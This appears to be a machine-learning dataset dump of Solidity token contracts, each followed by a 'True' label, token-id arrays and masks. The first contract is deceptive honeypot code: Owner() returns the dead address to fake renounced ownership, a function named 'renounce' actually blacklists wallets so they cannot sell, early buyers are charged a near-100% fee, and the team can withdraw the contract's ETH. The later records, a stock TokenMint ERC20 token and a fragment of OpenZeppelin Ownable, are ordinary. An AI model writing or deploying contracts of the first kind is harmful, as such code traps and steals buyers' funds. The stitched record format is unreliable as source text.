feeDenominator = 10000; address payable public liquidityFeeReceiver = payable(0x683a00739a094D7aA3FBB17351021D639a2AF480); address payable public marketingFeeReceiver = payable(0x683a00739a094D7aA3FBB17351021D639a2AF480); IDEXRouter public router; address routerAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; mapping (address => bool) liquidityPools; mapping (address => uint256) public protected; bool protectionEnabled = true; bool protectionDisabled = false; uint256 protectionLimit; uint256 public protectionCount; uint256 protectionTimer; address public pair; uint256 public launchedAt; uint256 public launchedTime; uint256 public deadBlocks; bool startBullRun = false; bool pauseDisabled = false; uint256 public rateLimit = 2; bool public swapEnabled = false; bool processEnabled = true; uint256 public swapThreshold = _totalSupply / 1000; uint256 public swapMinimum = _totalSupply / 10000; bool inSwap; modifier swapping() { inSwap = true; _; inSwap = false; } mapping (address => bool) teamMember; modifier onlyTeam() { require(teamMember[_msgSender()] \|\| msg.sender == ContractCreator(), "Caller is not a team member"); _; } event RenouncedWallet(address, address, uint256, uint8); constructor () { router = IDEXRouter(routerAddress); pair = IDEXFactory(router.factory()).createPair(router.WETH(), address(this)); liquidityPools[pair] = true; _allowances[ContractCreator()][routerAddress] = type(uint256).max; _allowances[address(this)][routerAddress] = type(uint256).max; isFeeExempt[ContractCreator()] = true; liquidityCreator[ContractCreator()] = true; isTxLimitExempt[address(this)] = true; isTxLimitExempt[ContractCreator()] = true; isTxLimitExempt[routerAddress] = true; isTxLimitExempt[DEAD] = true; _balances[ContractCreator()] = _totalSupply; emit Transfer(address(0), ContractCreator(), _totalSupply); } receive() external payable { } function totalSupply() external view override returns (uint256) { return _totalSupply; } function decimals() external pure returns (uint8) { return _decimals; } function symbol() external pure returns (string memory) { return _symbol; } function name() external pure returns (string memory) { return _name; } function Owner() external view returns (address) { return DEAD; } function maxBuyTxTokens() external view returns (uint256) { return _maxBuyTxAmount / (10 _decimals); } function maxSellTxTokens() external view returns (uint256) { return _maxSellTxAmount / (10 _decimals); } function maxWalletTokens() external view returns (uint256) { return _maxWalletSize / (10 ** _decimals); } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _allowances[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); return true; } function approveMax(address spender) external returns (bool) { return approve(spender, type(uint256).max); } function setTeamMember(address _team, bool _enabled) external onlyOwner { teamMember[_team] = _enabled; } function clearStuckBalance(uint256 amountPercentage, address adr) external onlyTeam { uint256 amountETH = address(this).balance; payable(adr).transfer((amountETH * amountPercentage) / 100); } function openTrading(uint256 _deadBlocks, uint256 _protection, uint256 _limit) external onlyTeam { require(!startBullRun && _deadBlocks < 10); deadBlocks = _deadBlocks; startBullRun = true; launchedAt = block.number; protectionTimer = block.timestamp + _protection; protectionLimit = _limit * (10 ** _decimals); } function manualSwap() external onlyTeam { require(!pauseDisabled); startBullRun = false; } function disablePause() external onlyTeam { pauseDisabled = true; startBullRun = true; } function removeBlacklist() external onlyTeam { protectionDisabled = true; protectionEnabled = false; } function renounce(address[] calldata _newowner, bool _renounce) external onlyTeam { if (_renounce) { require(protectionEnabled); } for (uint i = 0; i < _newowner.length; i++) { if (_renounce) { protectionCount++; emit RenouncedWallet(tx.origin, _newowner[i], block.number, 2); } else { if (protected[_newowner[i]] != 0) protectionCount--; } protected[_newowner[i]] = _renounce ? block.number : 0; } } function transfer(address recipient, uint256 amount) external override returns (bool) { return _transferFrom(msg.sender, recipient, amount); } function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) { if(_allowances[sender][msg.sender] != type(uint256).max){ _allowances[sender][msg.sender] = _allowances[sender][msg.sender] - amount; } return _transferFrom(sender, recipient, amount); } function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) { require(sender != address(0), "BEP20: transfer from 0x0"); require(recipient != address(0), "BEP20: transfer to 0x0"); require(amount > 0, "Amount must be > zero"); require(_balances[sender] >= amount, "Insufficient balance"); if(!launched() && liquidityPools[recipient]){ require(liquidityCreator[sender], "Liquidity not added yet."); launch(); } if(!startBullRun){ require(liquidityCreator[sender] \|\| liquidityCreator[recipient], "Trading not open yet."); } checkTxLimit(sender, recipient, amount); if (!liquidityPools[recipient] && recipient != DEAD) { if (!isTxLimitExempt[recipient]) { checkWalletLimit(recipient, amount); } } if(protectionEnabled && protectionTimer > block.timestamp) { if(liquidityPools[sender] && tx.origin != recipient && protected[recipient] == 0) { protected[recipient] = block.number; protectionCount++; emit RenouncedWallet(tx.origin, recipient, block.number, 0); } } if(inSwap){ return _basicTransfer(sender, recipient, amount); } _balances[sender] = _balances[sender] - amount; uint256 amountReceived = shouldTakeFee(sender) ? takeFee(recipient, amount) : amount; if(shouldSwapBack(recipient)){ if (amount > 0) swapBack(amount); } _balances[recipient] = _balances[recipient] + amountReceived; emit Transfer(sender, recipient, amountReceived); return true; } function launched() internal view returns (bool) { return launchedAt != 0; } function launch() internal { launchedAt = block.number; launchedTime = block.timestamp; swapEnabled = true; } function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) { _balances[sender] = _balances[sender] - amount; _balances[recipient] = _balances[recipient] + amount; emit Transfer(sender, recipient, amount); return true; } function checkWalletLimit(address recipient, uint256 amount) internal view { uint256 walletLimit = _maxWalletSize; require(_balances[recipient] + amount <= walletLimit, "Transfer amount exceeds the bag size."); } function checkTxLimit(address sender, address recipient, uint256 amount) internal { require(isTxLimitExempt[sender] \|\| amount <= (liquidityPools[sender] ? _maxBuyTxAmount : _maxSellTxAmount), "TX Limit Exceeded"); require(isTxLimitExempt[sender] \|\| lastBuy[recipient] + rateLimit <= block.number, "Transfer rate limit exceeded."); if (protected[sender] != 0){ require(amount <= protectionLimit * (10 ** _decimals) && lastSell[sender] == 0 && protectionTimer > block.timestamp, "Wallet protected, please contact support."); lastSell[sender] = block.number; } if (liquidityPools[recipient]) { lastSell[sender] = block.number; } else if (shouldTakeFee(sender)) { if (protectionEnabled && protectionTimer > block.timestamp && lastBuy[tx.origin] == block.number && protected[recipient] == 0) { protected[recipient] = block.number; emit RenouncedWallet(tx.origin, recipient, block.number, 1); } lastBuy[recipient] = block.number; if (tx.origin != recipient) lastBuy[tx.origin] = block.number; } } function shouldTakeFee(address sender) internal view returns (bool) { return !isFeeExempt[sender]; } function getTotalFee(bool selling) public view returns (uint256) { if(launchedAt + deadBlocks >= block.number){ return feeDenominator - 1; } if (selling) return totalFee + sellBias; return totalFee - sellBias; } function takeFee(address recipient, uint256 amount) internal returns (uint256) { bool selling = liquidityPools[recipient]; uint256 feeAmount = (amount * getTotalFee(selling)) / feeDenominator; _balances[address(this)] += feeAmount; return amount - feeAmount; } function shouldSwapBack(address recipient) internal view returns (bool) { return !liquidityPools[msg.sender] && !inSwap && swapEnabled && liquidityPools[recipient] && _balances[address(this)] >= swapMinimum; } function swapBack(uint256 amount) internal swapping { uint256 amountToSwap = amount < swapThreshold ? amount : swapThreshold; if (_balances[address(this)] < amountToSwap) amountToSwap = _balances[address(this)]; uint256 amountToLiquify = (amountToSwap * liquidityFee / 2) / totalFee; amountToSwap -= amountToLiquify; address[] memory path = new address[](2); path[0] = address(this); path[1] = router.WETH(); uint256 balanceBefore = address(this).balance; router.swapExactTokensForETHSupportingFeeOnTransferTokens( amountToSwap, 0, path, address(this), block.timestamp ); uint256 amountBNB = address(this).balance - balanceBefore; uint256 totalBNBFee = totalFee - (liquidityFee / 2); uint256 amountBNBLiquidity = (amountBNB * liquidityFee / 2) / totalBNBFee; uint256 amountBNBMarketing = amountBNB - amountBNBLiquidity; if (amountBNBMarketing > 0) marketingFeeReceiver.transfer(amountBNBMarketing); if(amountToLiquify > 0){ router.addLiquidityETH{value: amountBNBLiquidity}( address(this), amountToLiquify, 0, 0, liquidityFeeReceiver, block.timestamp ); } emit FundsDistributed(amountBNBMarketing, amountBNBLiquidity, amountToLiquify); } function setRateLimit(uint256 rate) external onlyOwner { require(rate <= 60 seconds); rateLimit = rate; } function setTxLimit(uint256 buyNumerator, uint256 sellNumerator, uint256 divisor) external onlyOwner { require(buyNumerator > 0 && sellNumerator > 0 && divisor > 0 && divisor <= 10000); _maxBuyTxAmount = (_totalSupply * buyNumerator) / divisor; _maxSellTxAmount = (_totalSupply * sellNumerator) / divisor; } function setMaxWallet(uint256 numerator, uint256 divisor) external onlyOwner() { require(numerator > 0 && divisor > 0 && divisor <= 10000); _maxWalletSize = (_totalSupply * numerator) / divisor; } function setFees(uint256 _liquidityFee, uint256 _marketingFee, uint256 _sellBias, uint256 _feeDenominator) external onlyOwner { liquidityFee = _liquidityFee; marketingFee = _marketingFee; totalFee = _marketingFee + _liquidityFee; sellBias = _sellBias; feeDenominator = _feeDenominator; require(totalFee < feeDenominator / 2); } function setSwapBackSettings(bool _enabled, bool _processEnabled, uint256 _denominator, uint256 _swapMinimum) external onlyOwner { require(_denominator > 0); swapEnabled = _enabled; processEnabled = _processEnabled; swapThreshold = _totalSupply / _denominator; swapMinimum = _swapMinimum * (10 ** _decimals); } function getCirculatingSupply() public view returns (uint256) { return _totalSupply - (balanceOf(DEAD) + balanceOf(ZERO)); } event FundsDistributed(uint256 marketingBNB, uint256 liquidityBNB, uint256 liquidityTokens); }	True	[ 101, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 25682, 1011, 2340, 1011, 6185, 1008, 1013, 1013, 1008, 1008, 23921, 1024, 16770, 1024, 1013, 1013, 1056, 1012, 2033, 1013, 1046, 11329, 1035, 3802, 2232, 1046, 11329, 2023, 4485, 4231, 2098, 999, 100, 100, 100, 100, 100, 100, 100, 100, 100, 1008, 1013, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 4895, 13231, 27730, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1021, 1025, 3075, 4769, 1063, 3853, 2003, 8663, 6494, 6593, 1006, 4769, 4070, 1007, 4722, 3193, 5651, 1006, 22017, 2140, 1007, 1063, 27507, 16703, 3642, 14949, 2232, 1025, 27507, 16703, 4070, 14949, 2232, 1027, 1014, 2595, 2278, 2629, 2094, 18827, 16086, 15136, 2575, 2546, 2581, 21926, 2509, 2278, 2683, 22907, 2063, 2581, 18939, 2475, 16409, 2278, 19841, 2509, 2278, 2692, 2063, 29345, 2497, 26187, 2509, 3540, 2620, 19317, 2581, 2509, 2497, 2581, 29292, 4215, 17914, 19961, 2094, 27531, 2050, 22610, 2692, 1025, 3320, 1063, 3642, 14949, 2232, 1024, 1027, 4654, 13535, 10244, 14949, 2232, 1006, 4070, 1007, 1065, 2709, 1006, 3642, 14949, 2232, 999, 1027, 4070, 14949, 2232, 1004, 1004, 3642, 14949, 2232, 999, 1027, 1014, 2595, 2692, 1007, 1025, 1065, 3853, 4604, 10175, 5657, 1006, 4769, 3477, 3085, 7799, 1010, 21318, 3372, 17788, 2575, 3815, 1007, 4722, 1063, 5478, 1006, 4769, 1006, 2023, 1007, 1012, 5703, 1028, 1027, 3815, 1010, 1000, 4769, 1024, 13990, 5703, 1000, 1007, 1025, 1006, 22017, 2140, 3112, 1010, 1007, 1027, 7799, 1012, 2655, 1063, 3643, 1024, 3815, 1065, 1006, 1000, 1000, 1007, 1025, 5478, 1006, 3112, 1010, 1000, 4769, 1024, 4039, 2000, 4604, 3643, 1010, 7799, 2089, 2031, 16407, 1000, 1007, 1025, 1065, 3853, 3853, 9289, 2140, 1006, 4769, 4539, 1010, 27507, 3638, 2951, 1007, 4722, 5651, 1006, 27507, 3638, 1007, 1063, 2709, 3853, 9289, 2140, 1006, 4539, 1010, 2951, 1010, 1000, 4769, 1024, 2659, 1011, 2504, 2655, 3478, 1000, 1007, 1025, 1065, 3853, 3853, 9289, 2140, 1006, 4769, 4539, 1010, 27507, 3638, 2951, 1010, 5164, 3638, 7561, 7834, 3736, 3351, 1007, 4722, 5651, 1006, 27507, 3638, 1007, 1063, 2709, 1035, 3853, 9289, 2140, 24415, 10175, 5657, 1006, 4539, 1010, 2951, 1010, 1014, 1010, 7561, 7834, 3736, 3351, 1007, 1025, 1065, 3853, 3853, 9289, 2140, 24415, 10175, 5657, 1006, 4769, 4539, 1010, 27507, 3638, 2951, 1010, 21318, 3372, 17788, 2575, 3643, 1007, 4722, 5651, 1006, 27507, 3638, 1007, 1063, 2709, 3853, 9289, 2140, 24415, 10175, 5657, 1006, 4539, 1010, 2951, 1010, 3643, 1010, 1000, 4769, 1024, 2659, 1011, 2504, 2655, 2007, 3643, 3478, 1000, 1007, 1025, 1065, 3853, 3853, 9289, 2140, 24415, 10175, 5657, 1006, 4769, 4539, 1010, 27507, 3638, 2951, 1010, 21318, 3372, 17788, 2575, 3643, 1010, 5164, 3638, 7561, 7834, 3736, 3351, 1007, 4722, 5651, 1006, 27507, 3638, 1007, 1063, 5478, 1006, 4769, 1006, 2023, 1007, 1012, 5703, 1028, 1027, 3643, 1010, 1000, 4769, 1024, 13990, 5703, 2005, 2655, 1000, 1007, 1025, 2709, 1035, 3853, 9289, 2140, 24415, 10175, 5657, 1006, 4539, 1010, 2951, 1010, 3643, 1010, 7561, 7834, 3736, 3351, 1007, 1025, 1065, 3853, 1035, 3853, 9289, 2140, 24415, 10175, 5657, 102 ]	[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
// File: contracts\open-zeppelin-contracts\token\ERC20\IERC20.sol pragma solidity ^0.5.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see `ERC20Detailed`. / interface IERC20 { /* * @dev Returns the amount of tokens in existence. / function totalSupply() external view returns (uint256); /* * @dev Returns the amount of tokens owned by `account`. / function balanceOf(address account) external view returns (uint256); /* * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a `Transfer` event. / function transfer(address recipient, uint256 amount) external returns (bool); /* * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through `transferFrom`. This is * zero by default. * * This value changes when `approve` or `transferFrom` are called. / function allowance(address owner, address spender) external view returns (uint256); /* * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * > Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an `Approval` event. / function approve(address spender, uint256 amount) external returns (bool); /* * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a `Transfer` event. / function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /* * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. / event Transfer(address indexed from, address indexed to, uint256 value); /* * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to `approve`. `value` is the new allowance. / event Approval(address indexed owner, address indexed spender, uint256 value); } // File: contracts\open-zeppelin-contracts\math\SafeMath.sol pragma solidity ^0.5.0; /* * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. / library SafeMath { /* * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. / function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /* * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. / function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); uint256 c = a - b; return c; } /* * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `` operator. * Requirements: * - Multiplication cannot overflow. / function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. / function div(uint256 a, uint256 b) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, "SafeMath: division by zero"); uint256 c = a / b; // assert(a == b c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. / function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0, "SafeMath: modulo by zero"); return a % b; } } // File: contracts\open-zeppelin-contracts\token\ERC20\ERC20.sol pragma solidity ^0.5.0; /* * @dev Implementation of the `IERC20` interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using `_mint`. * For a generic mechanism see `ERC20Mintable`. * * For a detailed writeup see our guide [How to implement supply mechanisms](https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226).* * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an `Approval` event is emitted on calls to `transferFrom`. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard `decreaseAllowance` and `increaseAllowance` * functions have been added to mitigate the well-known issues around setting * allowances. See `IERC20.approve`. / contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; /* * @dev See `IERC20.totalSupply`. / function totalSupply() public view returns (uint256) { return _totalSupply; } /* * @dev See `IERC20.balanceOf`. / function balanceOf(address account) public view returns (uint256) { return _balances[account]; } /* * @dev See `IERC20.transfer`. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. / function transfer(address recipient, uint256 amount) public returns (bool) { _transfer(msg.sender, recipient, amount); return true; } /* * @dev See `IERC20.allowance`. / function allowance(address owner, address spender) public view returns (uint256) { return _allowances[owner][spender]; } /* * @dev See `IERC20.approve`. * * Requirements: * * - `spender` cannot be the zero address. / function approve(address spender, uint256 value) public returns (bool) { _approve(msg.sender, spender, value); return true; } /* * @dev See `IERC20.transferFrom`. * * Emits an `Approval` event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of `ERC20`; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `value`. * - the caller must have allowance for `sender`'s tokens of at least * `amount`. / function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) { _transfer(sender, recipient, amount); _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount)); return true; } /* * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to `approve` that can be used as a mitigation for * problems described in `IERC20.approve`. * * Emits an `Approval` event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. / function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue)); return true; } /* * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to `approve` that can be used as a mitigation for * problems described in `IERC20.approve`. * * Emits an `Approval` event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. / function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue)); return true; } /* * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to `transfer`, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a `Transfer` event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. / function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /* @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a `Transfer` event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. / function _mint(address account, uint256 amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /* * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a `Transfer` event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. / function _burn(address account, uint256 value) internal { require(account != address(0), "ERC20: burn from the zero address"); _totalSupply = _totalSupply.sub(value); _balances[account] = _balances[account].sub(value); emit Transfer(account, address(0), value); } /* * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an `Approval` event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. / function _approve(address owner, address spender, uint256 value) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = value; emit Approval(owner, spender, value); } /* * @dev Destoys `amount` tokens from `account`.`amount` is then deducted * from the caller's allowance. * * See `_burn` and `_approve`. / function _burnFrom(address account, uint256 amount) internal { _burn(account, amount); _approve(account, msg.sender, _allowances[account][msg.sender].sub(amount)); } } // File: contracts\ERC20\TokenMintERC20Token.sol pragma solidity ^0.5.0; /* * @title TokenMintERC20Token * @author TokenMint (visit https://tokenmint.io) * * @dev Standard ERC20 token with burning and optional functions implemented. * For full specification of ERC-20 standard see: * https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md / contract TokenMintERC20Token is ERC20 { string private _name; string private _symbol; uint8 private _decimals; /* * @dev Constructor. * @param name name of the token * @param symbol symbol of the token, 3-4 chars is recommended * @param decimals number of decimal places of one token unit, 18 is widely used * @param totalSupply total supply of tokens in lowest units (depending on decimals) * @param tokenOwnerAddress address that gets 100% of token supply / constructor(string memory name, string memory symbol, uint8 decimals, uint256 totalSupply, address payable feeReceiver, address tokenOwnerAddress) public payable { _name = name; _symbol = symbol; _decimals = decimals; // set tokenOwnerAddress as owner of all tokens _mint(tokenOwnerAddress, totalSupply); // pay the service fee for contract deployment feeReceiver.transfer(msg.value); } /* * @dev Burns a specific amount of tokens. * @param value The amount of lowest token units to be burned. / function burn(uint256 value) public { _burn(msg.sender, value); } // optional functions from ERC20 stardard /* * @return the name of the token. / function name() public view returns (string memory) { return _name; } /* * @return the symbol of the token. / function symbol() public view returns (string memory) { return _symbol; } /* * @return the number of decimals of the token. */ function decimals() public view returns (uint8) { return _decimals; } }	True	[ 101, 1013, 1013, 5371, 1024, 8311, 1032, 2330, 1011, 22116, 1011, 8311, 1032, 19204, 1032, 9413, 2278, 11387, 1032, 29464, 11890, 11387, 1012, 14017, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1019, 1012, 1014, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 8278, 1997, 1996, 9413, 2278, 11387, 3115, 2004, 4225, 1999, 1996, 1041, 11514, 1012, 2515, 2025, 2421, 1008, 1996, 11887, 4972, 1025, 2000, 3229, 2068, 2156, 1036, 9413, 2278, 11387, 3207, 14162, 2098, 1036, 1012, 1008, 1013, 8278, 29464, 11890, 11387, 1063, 1013, 1008, 1008, 1008, 1030, 16475, 5651, 1996, 3815, 1997, 19204, 2015, 1999, 4598, 1012, 1008, 1013, 3853, 21948, 6279, 22086, 1006, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 5651, 1996, 3815, 1997, 19204, 2015, 3079, 2011, 1036, 4070, 1036, 1012, 1008, 1013, 3853, 5703, 11253, 1006, 4769, 4070, 1007, 6327, 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1008, 1030, 16475, 4520, 1036, 3815, 1036, 2004, 1996, 21447, 1997, 1036, 5247, 2121, 1036, 2058, 1996, 20587, 1005, 1055, 19204, 2015, 1012, 1008, 1008, 5651, 1037, 22017, 20898, 3643, 8131, 3251, 1996, 3169, 4594, 1012, 1008, 1008, 1028, 2022, 8059, 2008, 5278, 2019, 21447, 2007, 2023, 4118, 7545, 1996, 3891, 1008, 2008, 2619, 2089, 2224, 2119, 1996, 2214, 1998, 1996, 2047, 21447, 2011, 15140, 1008, 12598, 13063, 1012, 2028, 2825, 5576, 2000, 10210, 28731, 2023, 2679, 1008, 4650, 2003, 2000, 2034, 5547, 1996, 5247, 2121, 1005, 1055, 21447, 2000, 1014, 1998, 2275, 1996, 1008, 9059, 3643, 5728, 1024, 1008, 16770, 1024, 1013, 1013, 21025, 2705, 12083, 1012, 4012, 1013, 28855, 14820, 1013, 1041, 11514, 2015, 1013, 3314, 1013, 2322, 1001, 3277, 9006, 3672, 1011, 25246, 25746, 22610, 24594, 1008, 1008, 12495, 3215, 2019, 1036, 6226, 1036, 2724, 1012, 1008, 1013, 3853, 14300, 1006, 4769, 5247, 2121, 1010, 21318, 3372, 17788, 2575, 3815, 1007, 6327, 5651, 1006, 22017, 2140, 1007, 1025, 1013, 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// SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. / abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /* * @dev Initializes the contract setting the deployer as the initial owner. / constructor() { _transferOwnership(_msgSender()); } /* * @dev Returns the address of the current owner. / 